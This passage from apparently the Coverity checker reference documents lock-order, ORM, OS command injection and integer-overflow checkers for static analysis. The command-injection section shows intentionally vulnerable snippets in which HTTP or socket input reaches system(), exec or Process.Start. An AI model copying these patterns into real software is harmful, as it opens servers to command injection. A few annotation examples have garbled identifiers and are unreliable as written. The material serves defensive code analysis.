- `ORDER_REVERSAL:max_lock_depth:maximum_value` - This option specifies the maximum depth of the call chain that acquires the second lock while the first lock is held. This option exists because when the lock acquisitions are separated by a deeply nested call chain, there is often some other synchronization mechanism involved that the analysis cannot interpret, so the resulting reports are often false positives. By default, if a second lock is acquired in a call chain that has more than 6 `getlock` calls, the analysis will not treat it as a lock acquired when holding another lock. As a consequence, it might suppress a defect that is associated with that pair. To find such an issue, enable this option by increasing the `max_lock_depth` value. Defaults to `ORDER_REVERSAL:max_lock_depth:6`

## 4.237.4. Events

This section describes one or more events produced by the `ORDER_REVERSAL` checker.

- `example_lock_order` : Acquiring the lock represented by the second element of a correct lock order.
- `getlock` : The actual lock acquisition if it occurs in a different method.

- `lock_acquire` : A lock is acquired.
- `lock_order` : A second lock is acquired after the first lock. The order of these operations is incorrect.
- `lock_examples` : A link to a function that acquired the locks in the correct order.

## 4.238. ORM\_ABANDONED\_TRANSIENT

### 4.238.1. Overview

**Supported Languages:** Java

See `ORM_LOST_UPDATE`.

## 4.239. ORM\_LOST\_UPDATE

Quality Checker

### 4.239.1. Overview

**Supported Languages:** Java

`ORM_LOST_UPDATE` finds several different errors involving the persistent object "lifecycle" of Object-Relational Mapping (ORM) systems such as JPA or Hibernate. The two main problems found by this checker are transient objects not being persisted and modified detached objects not being merged back into a session. This checker will also report ORM operations that will throw exceptions based on the current state of an object they are applied to.

An object that may be stored in a persistent database is referred to as an "Entity". An Entity is initially created as an in-memory-only object. An Entity that exists in memory but has never been stored in a database is said to be "transient". In order for a transient object to persist it must be associated with a session, typically by means of some sort of save operation. Once this is done the object is no longer transient and instead becomes an unmodified "persistent" object. If an Entity is created but not stored an `ORM_ABANDONED_TRANSIENT` defect will be reported, unless the object is used in a way that suggests it was intended to be a temporary object (that just happened to be of an Entity class type). There is no certain way to determine whether a transient object was meant to be persisted, but the heuristic used is that any reading of the contents of a persistent object is sufficient evidence that it is only being used as a temporary variable. This heuristic may lead to either false negatives or false positives.

Starting with a persistent object, if that object is disassociated with a session it becomes "detached". Individual objects can be detached one at a time, or all outstanding objects associated with a session may become detached at once if the session itself is closed or cleared. If a persistent object is modified it becomes a modified persistent object and, once detached, it becomes a modified detached object. If a previously unmodified detached object is later modified it, too, can become a modified detached object. The in-memory changes to a modified persistent object are written back to the database by a flush operation, which can occur explicitly or implicitly as part of various other operations. A flush operation thus causes all modified persistent objects to revert to unmodified persistent objects. In contrast, there is no flush operation applicable to modified detached objects. The only way to persist in-memory changes to a detached object is to reattach (typically, merge) that object into a session. If a modified detached object

is not reattached to a session then an `ORM_LOST_UPDATE` defect will be reported, indicating that a non-persistent change to a persistent object is being lost.

The rules for when flushing occurs in a system like Hibernate are complex. The `ORM_LOST_UPDATE` checker assumes that any explicit control of flushing is intentional. If the only flushing done for a modified persistent object is a side effect of some operation such as a query evaluation then this is deemed "accidental" rather than intentional. Such accidental flushing is not sufficient to prevent reporting a defect, but the defect reported will note where this flushing occurred so that it can be evaluated.

**Disabled by default:** `ORM_LOST_UPDATE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

### 4.239.2. Examples

This section provides one or more `ORM_LOST_UPDATE` examples.

```
...
@Entity
public class MyEntity {
 ...
}
...
{
 MyEntity myEntity = new MyEntity();
 myEntity.setThis(0);
 myEntity.setThat(1);
 // ... but no "get"s, etc.
 // not persisted
} // error: abandoned transient
```

```
{
 ...
 myEntity = (MyEntity)session.get(myId);
 myEntity.setThis(3); // modified
 // ... no flush
 session.clear(); // detach everything
 // ... no reattach of 'myEntity'
} // error: lost update
```

```
{
 ...
 myEntity = (MyEntity)session.get(myId);
 session.detach(myEntity); // explicit, single-object detach
 // ... no reattach
 myEntity.setThat(5); // modified
 // ... no reattach
} // error: lost update
```

### 4.239.3. Events

This section describes one or more events produced by the `ORM_LOST_UPDATE` checker.

- `new_transient` - A transient object is created with a new expression.
- `assuming_detached` - A previously unknown Entity is encountered after a session operation such as a close or clear which detaches all associated objects. Such an entity is assumed to still be detached. It is further assumed that any Entity field of a detached object is also detached.
- `null_check_load` - The persistent or detached state of an object that is a field of another object is inferred from the state of the object it is a field of.
- `lost_transient` - A transient Entity was not persisted.
- `modify` - A persistent or detached object is modified.
- `detach` - A single object is detached.
- `detach_all` - All outstanding persistent objects associated with a session are detached.
- `lost_modification` - The in-memory changes to a modified detached object are lost.
- `merge` - An object is merged into a session, which leaves it unmodified but still detached.
- `transient_result` - A call to a method that returns a transient object.
- `persistent_result` - A call to a method that returns an unmodified persistent object.
- `modified_persistent_result` - A call to a method that returns a modified persistent object.
- `detached_result` - A call to a method that returns an unmodified detached object.
- `modified_detached_result` - A persistent or detached object is modified.
- `return_transient` - Returning a transient object.
- `return_persistent` - Returning an unmodified persistent object.
- `return_modified_persistent` - Returning a modified persistent object.
- `return_detached` - Returning an unmodified detached object.
- `transient_fn` - A call to a method that returns a transient object.
- `persistent_fn` - A call to a method that returns an unmodified persistent object.
- `modified_persistent_fn` - A call to a method that returns a modified persistent object.
- `detached_fn` - A call to a method that returns an unmodified detached object.
- `modified_detached_fn` - A call to a method that returns a modified detached object.
- `detach_all_fn` - A call to a method that detaches all persistent objects.
- `persist_fn` - A call to a method that persist its argument.

- `detach_fn` - A call to a method that detaches its argument.
- `merge_fn` - A call to a method that merges its argument.
- `manual_flushing` - The session's flush mode is set to `MANUAL`.
- `flush_fn` - A call to a method that flushes under some condition.
- `flushmode_fn` - A call to a method that sets the session's flush mode.
- `uncertain_flush` - Whether or not a flush will occur depends on the session's flush mode and the flush mode is not explicitly set.
- `no_implied_flush` - An operation sometimes performs a flush, but it does not given the session's current flush mode.
- `id_test` - Comparison of an Entity's id with null testing for transience.
- `ignored_get_escape` - An Entity is passed to a method that does not retain a reference to it.
- `detach_transient` - A transient Entity is being explicitly detached. This will cause an exception to be thrown.
- `persist_detached` - Persisting a detached object. This will cause an exception to be thrown.

## 4.240. ORM\_LOAD\_NULL\_CHECK

Quality Checker

### 4.240.1. Overview

**Supported Languages:** Java

`ORM_LOAD_NULL_CHECK` finds many instances of checking the result of a load operation for null.

Load operations never return `null`. If the requested ID does not exist in the database, the operations will return a non-`null` proxy object. Because such proxy objects can only be used to get back the ID they were created with (and any other attempt to use them will result in an exception), it is generally dangerous to proceed with a proxy object. The presence of a `null` check following a load operation suggests that the programmer either confused `load` with `get` (which can return `null`) or added a logically unnecessary `null` test.

`ORM_LOAD_NULL_CHECK` will only report cases in which a `null` check takes place on a value that is always the result of a load operation. If there is any possibility that the value being tested might have come from a source other than a load operation (and thus might legitimately be `null`), no defect is reported.

### 4.240.2. Examples

This section provides one or more `ORM_LOAD_NULL_CHECK` examples.

```
...
MyObject myObject = (MyObject)session.load(id);
if (myObject != null) { // null check of load result that always passes
 myObject.doSomething(); // Bad if 'myObject' is a proxy.
}
```

```
MyObject loadOrGet(Identifier id, boolean doLoad) {
 return doLoad ? session.load(id) : session.get(id);
}

...
MyObject myObject = loadOrGet(id, true /* doLoad */);
if (myObject == null) { // null check of load result -- never passes
 throw MyObjectNotFoundException();
}
myObject.doSomething(); // Bad if 'myObject' is a proxy
```

### 4.240.3. Events

This section describes one or more events produced by the `ORM_LOAD_NULL_CHECK` checker.

- `load` - A value is returned from an Object-Relational Mapping (ORM) `load` operation.
- `assumed_dao_load` - A value is returned from a method named `load` on a Data Access Object (DAO) interface that is assumed to be implemented with an actual `load` operation.
- `null_check_load` - The result of an earlier `load` operation is checked against `null`.
- `load_fn` - A `load` operation returns a value that will later be returned by a method.
- `return_loaded` - A method is returning a value that was the result of a `load` operation.

## 4.241. ORM\_UNNECESSARY\_GET

Quality Checker

### 4.241.1. Overview>

**Supported Languages:** Java

Because accessing the database is an expensive operation that should occur only when it is necessary, `ORM_UNNECESSARY_GET` finds cases in which the contents of an entity obtained through a call to `Session.get(...)` is not used on a given path, making the method call and consequent database access unnecessary. If only a reference to the object is used (such as storing it into a field of another object) or only the ID of the object is used, it might be more efficient to use a `load` operation than a `get` operation to obtain it.

### 4.241.2. Examples

This section provides one or more `ORM_UNNECESSARY_GET` examples.

In the following example, `Score` is an entity that is obtained from the database and assigned to `x`. However, because only the object reference (and not the contents) of `x` is used, the database access through `Session.get(...)` is unnecessary. Note that in many cases a call to `Session.get(...)` might be wrapped at multiple levels. In such cases, it might not be clear to a programmer whether database access occurs.

```
public void foo(Session s, Serializable id) {
 Score x = (Score)s.get(Score.class, id);
 setScore(x); // Does not access the contents of 'x'.
}
```

### 4.241.3. Events

This section describes one or more events produced by the `ORM_UNNECESSARY_GET` checker.

- `orm_get_fn` - A persistent instance of given entity class `x` is returned.
- `unnecessary_get` - Variable `x` going out of scope makes the earlier call to `get(...)` on this path unnecessary.
- `setter_method` - Variable `x` is passed to a setter method. If `x` is just used in a setter method, you can call a `load(...)` method to obtain it.

## 4.242. OS\_CMD\_INJECTION

Security Checker

### 4.242.1. Overview

**Supported Languages:** C, C++, C#, Go, Java, JavaScript, Kotlin, Objective-C, Objective-C++, PHP, Python, Ruby, and Visual Basic

`OS_CMD_INJECTION` detects many instances in which an OS command is executed on the server and the command or its arguments can be manipulated by an attacker. An attacker who has control over part of the command string might be able to maliciously alter the intent of the operating system command. This change might result in the disclosure, destruction, or modification of sensitive data or operating system resources.

By default, the `OS_CMD_INJECTION` checker treats values as though they are tainted if they come from the network (either through sockets or incoming HTTP requests). The checker can also be configured to treat values from the file system or the database as though they are tainted (see Section 4.242.4, “Options”).

Note that the checker always reports a defect when tainted data flows to an OS command no matter what sanitization was done. Coverity suggests the following workflow:

1. Follow Coverity remediation advice: validate, sanitize, and use the array forms of methods rather than the string forms.

For JavaScript, sanitize the data before using inside a sensitive function call. If possible, use a safer library or API call instead

2. If you continue to use an OS command to achieve your goal, get a security expert to review the code and mark the defect as Intentional in Coverity Connect if the expert is satisfied that the behavior of the code is safe.

For more information on the risks and consequences of OS command injections, see Chapter 6, . For detailed information about the potential security vulnerabilities found by this checker, see Section 6.1.4.3, “OS Command Injection”.

**Disabled by default:** `OS_CMD_INJECTION` is disabled by default for C, C++, C#, Java, JavaScript, Objective-C, Objective-C++, PHP, Python, and Visual Basic. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Enabled by default:** `OS_CMD_INJECTION` is enabled by default For Go, Kotlin, and Ruby.

**Web application security checker enablement:** To enable `OS_CMD_INJECTION` along with other Web application checkers, use the `--webapp-security` option. This option does not apply to C/C++.

**Security checker enablement:** To enable `OS_CMD_INJECTION` along with other security checkers, use the `--security` option to the **cov-analyze** command. This option applies only to C/C++.

**Android security checker enablement:** To enable `OS_CMD_INJECTION` along with other Java Android security checkers, use the `--android-security` option to the **cov-analyze** command.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

## 4.242.2. Defect Anatomy

An `OS_CMD_INJECTION` defect shows a dataflow path by which untrusted (tainted) data is used to construct the name of an executable to run, some or all of its arguments, or a command passed to a shell, such as `bash` or `cmd.exe`. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the path shows the tainted string being used to start another operating system process.

## 4.242.3. Examples

This section provides one or more `OS_CMD_INJECTION` examples.

### 4.242.3.1. C/C++

In the following example, tainted data is used to start a process in an unsafe manner.

```
#include <stdlib.h>
```

```
#include <sys/types.h>
#include <sys/socket.h>

void bug(int socket) {
 char message[1024];
 if (recv(socket, message, sizeof(message), 0) > 0) {
 system(message); // OS_CMD_INJECTION defect
 }
}
```

#### 4.242.3.2. C#

In the following OS command injection example, tainted data from an HTTP request is used to start a process in an unsafe manner.

```
using System;
using System.Diagnostics;
using System.Web;

class OSCmdInjection
{
 HttpRequest req;

 void test()
 {
 String tainted = req["tainted"];
 Process.Start(tainted); // OS_CMD_INJECTION defect
 }
}
```

#### 4.242.3.3. Go

The following code executes a command constructed using tainted data from an HTTP request. An `OS_CMD_INJECTION` defect is shown for the `cmd.Start` call.

```
package main

import (
 "net/http"
 "os/exec"
)

func test(req *http.Request) {
 cmd := exec.Command(req.URL.Query().Get("command"))
 cmd.Start() // OS_CMD_INJECTION defect
}
```

#### 4.242.3.4. Java

For code examples, Section 6.1.4.3, “OS Command Injection” and Section 6.6.3, “OS Command Injection code examples”.

#### 4.242.3.5. JavaScript

The following code example shows a vulnerable Node.js Web application using the Express framework. The defect is reported when the `run()` function is declared:

```
const express = require("express");
const app = express();

app.get("/run",
 function run(req, res, next) { // OS_CMD_INJECTION defect
 require("child_process").exec(req.query.cmd);
 res.send("Done");
 });
app.listen(1337, function() {
 console.log("Express listening...");
});
```

#### 4.242.3.6. Kotlin

In the following example, tainted data from an HTTP request is used in a command line call. A defect is reported at the `exec()` call.

```
import javax.servlet.http.HttpServletRequest

class OSCMDInjection {

 fun findFile(req: HttpServletRequest) {
 val filename: String = req.getParameter("dirName")
 val command = "find . -name $filename"
 val child = Runtime.getRuntime().exec(command)
 }
}
```

#### 4.242.3.7. PHP

The following PHP code uses tainted data from a HTTP request as part of a command line.

```
$user = $_REQUEST['user'];
`shell-cmd --user $user`;
```

#### 4.242.3.8. Python

The following Python code (which uses the Django framework) uses tainted data from an HTTP request as part of an `execv` call.

```
import os
from django.conf.urls import url

def django_view(request):
 os.execv(request.body)
```

```
urlpatterns = [
 url(r'index', django_view)
]
```

#### 4.242.3.9. Ruby

The following Ruby on Rails code demonstrates interpolating an HTTP query parameter directly into a shell command.

```
class ExampleController < ApplicationController
 def list
 `ls #{params[:directory]}`
 end
end
```

#### 4.242.3.10. Visual Basic

The following example shows an `OS_CMD_INJECTION` defect in a Visual Basic subroutine. Untrusted data from an HTTP web request is passed as an operating system command argument.

```
Sub ArgumentIsUnsafe(req as HttpRequest, cmd As String)
 ' Reading untrusted data from an HTTP web request
 Dim arg As String = req("taint")
 ' Pass the untrusted data as a command argument
 Process.Start("rm", arg)
End Sub
```

### 4.242.4. Options

This section describes one or more `OS_CMD_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `OS_CMD_INJECTION:distrust_all:<boolean>` - [C, C++, Go, JavaScript, PHP, Python] Setting this option to `true` is equivalent to setting all `trust_*` checker options for this checker to `false`. Defaults to `OS_CMD_INJECTION:distrust_all:false`.

This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`. (All languages except C, C++)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`. (C, C++)

- `OS_CMD_INJECTION:ignore_command_as_array:<boolean>` - [Java, Kotlin only] This option suppresses defects reported at OS command library calls that accept a list or an array of arguments. In many situations, these calls are less exploitable than concatenated command strings. Defaults to `OS_CMD_INJECTION:ignore_command_as_array:false`.

The following example produces an issue report that is suppressed if this option is enabled:

```
class MyServlet extends HttpServlet {
 public void doPost(HttpServletRequest req, HttpServletResponse resp) {
 try {
 String pattern = req.getParameter("file_filter");
 String [] cmd_and_opts = {"ls",
 "-l",
 "--hide="+pattern};
 Process p = java.lang.Runtime.getRuntime().exec(cmd_and_opts);
 // ...
 } catch(Exception e) {
 // ...
 }
 }
}
```

- `OS_CMD_INJECTION:trust_mobile_other_app:<boolean>` - [Java, Kotlin only] Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `OS_CMD_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `OS_CMD_INJECTION:trust_mobile_same_app:<boolean>` - [Java, Kotlin only] Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `OS_CMD_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `OS_CMD_INJECTION:trust_mobile_user_input:<boolean>` - [Java, Kotlin only] Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `OS_CMD_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.
- `OS_CMD_INJECTION:trust_mobile_other_privileged_app:<boolean>` - [Java, Kotlin only] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `OS_CMD_INJECTION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `OS_CMD_INJECTION:trust_command_line:<boolean>` - [All] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `OS_CMD_INJECTION:trust_command_line:true` for all languages. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `OS_CMD_INJECTION:trust_console:<boolean>` - [All] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to

`OS_CMD_INJECTION:trust_console:true` for all languages. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.

- `OS_CMD_INJECTION:trust_cookie:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP cookies as tainted. Defaults to `OS_CMD_INJECTION:trust_cookie:false` for all languages. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `OS_CMD_INJECTION:trust_database:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from a database as tainted. Defaults to `OS_CMD_INJECTION:trust_database:true` for all languages. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `OS_CMD_INJECTION:trust_environment:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from environment variables as tainted. Defaults to `OS_CMD_INJECTION:trust_environment:true` for all languages. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `OS_CMD_INJECTION:trust_filesystem:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the filesystem as tainted. Defaults to `OS_CMD_INJECTION:trust_filesystem:true` for all languages. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `OS_CMD_INJECTION:trust_http:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP requests as tainted. Defaults to `OS_CMD_INJECTION:trust_http:false` for all languages. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `OS_CMD_INJECTION:trust_http_header:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from HTTP headers as tainted. Defaults to `OS_CMD_INJECTION:trust_http_header:false` for all languages. [All except C/C++] Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `OS_CMD_INJECTION:trust_network:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from the network as tainted. Defaults to `OS_CMD_INJECTION:trust_network:false` for all languages. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `OS_CMD_INJECTION:trust_rpc:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from RPC requests as tainted. Defaults to `OS_CMD_INJECTION:trust_rpc:false` for all languages. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `OS_CMD_INJECTION:trust_system_properties:<boolean>` - [All] Setting this option to `false` causes the analysis to treat data from system properties as tainted. Defaults to `OS_CMD_INJECTION:trust_system_properties:true` for all languages. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

See the corresponding command line options [↗](#) to **cov-analyze** in the *Coverity Command Reference*.

## 4.242.5. Models and Annotations

### 4.242.5.1. C, C++, Objective C, Objective C++

With **cov-make-library**, you can use the following Coverity Analysis primitives to create custom models for `OS_CMD_INJECTION`.

The following model indicates that `custom_cmd_exec()` is a taint sink (of type `OS_CMD_ONE_STRING`) for argument `command`:

```
void custom_cmd_exec(const char *command)
{ __coverity_taint_sink__(command, OS_CMD_ONE_STRING); }
```

The following sink types are also relevant to this checker: `OS_CMD_ARRAY`, `OS_CMD_FILENAME`, `OS_CMD_ARGUMENTS`.

You can model taint sources with the `__coverity_mark_pointee_as_tainted__` modeling primitive. For example, the following model indicates that `packet_get_string()` returns a tainted string from the network:

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
 return ret;
}
```

The next model indicates that `custom_sanitizе()` returns true if the `s` argument is valid (and thus should no longer be considered tainted). If the `s` argument is not valid, `custom_sanitizе()` returns false and the analysis continues to track `s` as tainted:

```
bool custom_sanitizе(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, OS_CMD_STRING);
 return true;
 }
 return false;
}
```

As an alternative to library models, you can use the following function annotation tags in source code comments that immediately precede the targeted function:

- `+taint_sanitizе`: specifies that a function sanitizes a string argument. For example, the following specifies that `custom_sanitizе()` sanitizes its `s` string argument:

```
// coverity[+taint_sanitizе : arg-*0]
```

```
void custom_sanitiz(e(char* s) {...}
```

- `+taint_source` (without an argument): Specifies that the function returns tainted string data. For example, the following code specifies that `packet_get_string()` returns a tainted string value:

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (with an argument): Specifies that the function taints the contents of the specified string argument. For example, the following specifies that `custom_string_read()` taints the contents of its `s` argument:

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



#### Note

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLI`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

You can use the following function annotation tags to ignore function models:

- `-taint_sanitiz(e`: Specifies that a function does not sanitize a string argument. For example, the following specifies that `custom_sanitiz(e)` does not sanitize its `s` string argument:

```
// coverity[-taint_sanitiz(e : arg-*0]
void custom_sanitiz(e(char* s) {...}
```

- `-taint_source` (without an argument): Specifies that the function does not return tainted string data. For example, the following specifies that `packet_get_string()` does not return a tainted string value:

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source` (with an argument): Specifies that the function does not taint the contents of the specified string argument. For example, the following specifies that `custom_string_read()` does not taint the contents of its `s` argument:

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

#### 4.242.5.2. C# and Visual Basic

Models and primitives (see Section 5.2, “Models and Annotations in C# or Visual Basic”) can improve analysis with this checker in the following case:

- If the `OS_CMD_INJECTION` checker does not recognize a method parameter in your program as one that is used to start a new operating system process (either as the path to the executable or the arguments to it), you can model it as such. For more information, see the sections "Security.CommandFileNameSink(Object)" and "Security.CommandArgumentsSink(Object)" in Section 5.2.1.3, "C# and Visual Basic Primitives". The following model directs the `OS_CMD_INJECTION` checker to report a defect if tainted data flows into the command line parameter of the `MyProcessWrapper.Execute` method:

```
public MyProcessWrapper {
 void Execute(String commandLine) {
 Security.CommandFileNameSink(commandLine);
 }
}
```

The following model directs the `OS_CMD_INJECTION` checker to report a defect if tainted data flows into the `args` parameter of the `MyProcessWrapper.Execute` method.

```
public MyProcessWrapper {
 void Execute(String safeCommandLine, String args) {
 Security.CommandArgumentsSink(args);
 }
}
```

#### 4.242.5.3. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_command_function(data interface{}) {
 OsCmdInjectionSink(data);
}
```

The `OsCmdInjectionSink()` primitive instructs `OS_CMD_INJECTION` to report a defect if the argument to `injecting_into_command_function()` is from an untrusted source.

#### 4.242.5.4. Java

Java models and annotations (see Section 5.4, "Models and Annotations in Java") can improve analysis with this checker in the following cases:

- If the analysis misses defects because it does not treat certain data as tainted, see discussion of the `@Tainted` annotation, and see Section 5.4.1.3, "Modeling Sources of Untrusted (Tainted) Data" for instructions on marking method return values, parameters, and fields as tainted.
- If the analysis reports false positives because it treats a field as tainted when you believe that tainted data cannot flow into that field, see .

- If the `OS_CMD_INJECTION` checker does not recognize a method parameter in your program as one that is used to start a new operating system process (either as the path to the executable or the arguments to it), you can model it as such. The following model directs the `OS_CMD_INJECTION` checker to report a defect if tainted data flows into the `commandLine` parameter of the `MyProcessWrapper.execute` method.

```
public MyProcessWrapper {
 void execute(String commandLine) {

com.coverity.primitives.SecurityPrimitives.os_cmd_one_string_sink(commandLine);
 }
}
```

See also, Section 5.4.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted”.

## 4.243. OVERFLOW\_BEFORE\_WIDEN

Quality Checker

### 4.243.1. Overview

**Supported Languages:** C, C++, C#, Java, Objective-C, Objective-C++, and Scala

`OVERFLOW_BEFORE_WIDEN` finds cases in which the value of an arithmetic expression might overflow before the result is widened to a larger data type. The checker only reports cases where the program already contains a widening operation, but that operation is performed too late. In most cases, the solution is to widen at least one operand to a wider type before performing the arithmetic operation.

The defect indicates that the value of an arithmetic expression is subject to overflow due to a failure to cast operands to a larger data type before performing arithmetic. The failure to cast can yield an unexpected value. For example, an operation that multiplies two integers might yield a value other than a product that results from using arbitrary precision integers (for example, a value other than what a calculator produces when you multiply the two numbers). The checker reports a defect only if it finds some indication that the extra precision is desired.

**Enabled by default:** `OVERFLOW_BEFORE_WIDEN` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.243.2. Examples

This section provides one or more `OVERFLOW_BEFORE_WIDEN` examples.

#### 4.243.2.1. C/C++

In the following example, the checker reports a defect because `x * y` exceeds the maximum value allowed by the `unsigned` type for the target platform ( $2^{32} - 1$ , that is, 4,294,967,295):

```
void foo() {
```

```

unsigned int x = 2147483648;
unsigned int y = 2;
unsigned long long z;
if ((x * y) == z) {
 // Do something.
}
}

```

The result of the expression `(x * y)` is 0, which might not be what the programmer intended. To obtain the result 4294967296, a cast on one of the operands is required:

```

if (((unsigned long long) x * y) == z) {
 // Do something.
}

```

In contrast, the checker does *not* report a defect below, because extra precision was not desired:

```

unsigned int bar() {
 unsigned int x = 2147483648;
 unsigned int y = 2;
 return x * y;
}

```

Note that the checker will not report a defect if it finds that the overflow condition cannot occur or that it is unlikely to be an issue even if it does occur.

#### 4.243.2.2. C# and Java

This section provides one or more `OVERFLOW_BEFORE_WIDEN` examples.

```

public class OverflowBeforeWiden
{
 long multiply(int x1, int x2)
 {
 return x1 * x2; //An OVERFLOW_BEFORE_WIDEN defect here.
 }
}

```

#### 4.243.2.3. Scala

In these examples, `x` and `y` (which are being multiplied) are both of a 32-bit wide `Int` type, however a 64-bit `Long` type is being returned.

```

def test(x: Int, y: Int) : Long = { // returns Long
 return x * y // //An OVERFLOW_BEFORE_WIDEN defect here.
}

val test : (Int,Int) => Long = (x, y) => { // returns Long
 x * y // An OVERFLOW_BEFORE_WIDEN defect here.
}

```

```
}

```

### 4.243.3. Options

This section describes one or more `OVERFLOW_BEFORE_WIDEN` options.

You can set specific checker option values by passing them with `--checker-option` to the `cov-analyze` command. For details, refer to the *Coverity Command Reference*.

- `OVERFLOW_BEFORE_WIDEN:check_bitwise_operands:<boolean>` - When this option is true, the checker reports defects based on values that have gone through bitwise-and, bitwise-or, or bitwise-xor operations. By default, the checker treats overflow in the argument to a bitwise operator as intentional. Defaults to `OVERFLOW_BEFORE_WIDEN:check_bitwise_operands:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `high`.

Example:

```
unsigned int x = ...;
unsigned long long y = (x << 16) | (x >> 16); // switch endianness

```

- `OVERFLOW_BEFORE_WIDEN:check_macros:<boolean>` - When this option is true, the checker reports potentially overflowing operations even when they occur within macros. The checker ignores macros by default. Defaults to `OVERFLOW_BEFORE_WIDEN:check_macros:false` (C and C++ only).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

- `OVERFLOW_BEFORE_WIDEN:check_nonlocals:<boolean>` - When this option is true, the checker reports potentially overflowing operations even when the cause of widening is nonlocal (for example, a function or method call, or a global static variable). Defaults to `OVERFLOW_BEFORE_WIDEN:check_nonlocals:false` (all languages).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).

For C/C++, this option allows the checker to report the following as a defect:

```
long long foo() { return 4294967296; }

int compare(int x, int y) {
 return (x << y) == foo();
}

```

For C#, this option allows the checker to report the following:

```
class External {

```

```

public static void use(long l) {}
}
class Other {
void use(long l) {}
void testLocal(int i, int j) {
 use(i * j); // Always a bug
}
void testNonLocal(int i, int j) {
 External.use(i * j); // Only a bug with check_nonlocals
}
}

```

For Java, enabling this option allows the checker to report the following as a defect:

```

long foo() { return 4294967296L; }
boolean compare(int x, int y) {
 return (x << y) == foo();
}

```

- `OVERFLOW_BEFORE_WIDEN:check_types:<regex>` - This option specifies a regular expression (Perl syntax) to match against the destination type of the existing widening operation. A defect will only be reported if the destination type matches the specified regular expression. Defaults to `OVERFLOW_BEFORE_WIDEN:check_types:(?:unsigned )?long long|.*64.*` (C and C++ only).

This checker option is automatically set to `.*` if the `--aggressiveness-level` option of **cov-analyze** is set to `high`.

- `OVERFLOW_BEFORE_WIDEN:class_is_nonlocal:<boolean>` - When true, member functions and fields within the current class (C++, Java, C#) are treated as "non-local" and not used as the basis for reporting a defect. This option has no effect when `check_nonlocals` is true. Defaults to `OVERFLOW_BEFORE_WIDEN:class_is_nonlocal:false` (all languages).
- `OVERFLOW_BEFORE_WIDEN:general_operator_context:<boolean>` - If this option is set to true, the checker will report defects on implicit widening casts of operands in addition, subtraction, and boolean bitwise operations. These widening casts occur when the type of one operand is wider than the other operand. Defaults to `OVERFLOW_BEFORE_WIDEN:general_operator_context:false` (all languages).

Example:

```

void foo(long long lw,int x, int y,int z)
{
 long long ll;
 ll = lw + (x*y); //Reported with general_operator_context
 ll = (x*y)-lw; //Reported with general_operator_context
 ll = (x*y)/lw; //Not reported with general_operator_context
